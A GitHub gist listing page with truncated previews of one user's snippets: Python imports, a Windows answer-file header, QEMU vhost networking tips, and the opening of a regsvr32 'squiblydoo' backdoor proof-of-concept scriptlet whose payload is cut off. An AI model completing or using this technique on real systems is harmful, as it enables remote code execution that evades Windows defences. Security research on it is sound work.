Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/python
import xml.etree.ElementTree as ET
import requests
import re
import sys
from datetime import date
from dateutil.parser import parse
from dateutil.rrule import rrule, DAILY
# suppresses SSL warning
<!--*************************************************
Windows 10 Answer File Generator
Created using Windows AFG found at:
http://windowsafg.no-ip.org
Installation Notes
Location: djm300 lab
Notes: Enter your comments here...
**************************************************-->
@djm300
djm300 / qemu_vhost.md
Created January 30, 2018 14:13 — forked from mcastelino/qemu_vhost.md
QEMU Tips and Tricks

How to launch QEMU from command line without libvirt with macvtap and vhost support

This sets up a host local bridge with a macvlan interface for VM to host communication. The macvtap is setup with vhost support.

The command line options to note are

-netdev tap,fd=3,id=hostnet0,vhost=on,vhostfd=4 3<>$"$tapdev" 4<>/dev/vhost-net -device virtio-net-pci,netdev=hostnet0,id=net0,mac=$(< /sys/class/net/testtap/address)

This sets up two different fd's. The first for macvtap and the second for vhost-net.

#!/usr/bin/env python
# created by Glenn P. Edwards Jr.
# https://hiddenillusion.github.io
# @hiddenillusion
# Date: 2017-07-08
# (while at FireEye)
import cmd
import os
@djm300
djm300 / Backdoor-Minimalist.sct
Created May 11, 2017 07:11
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[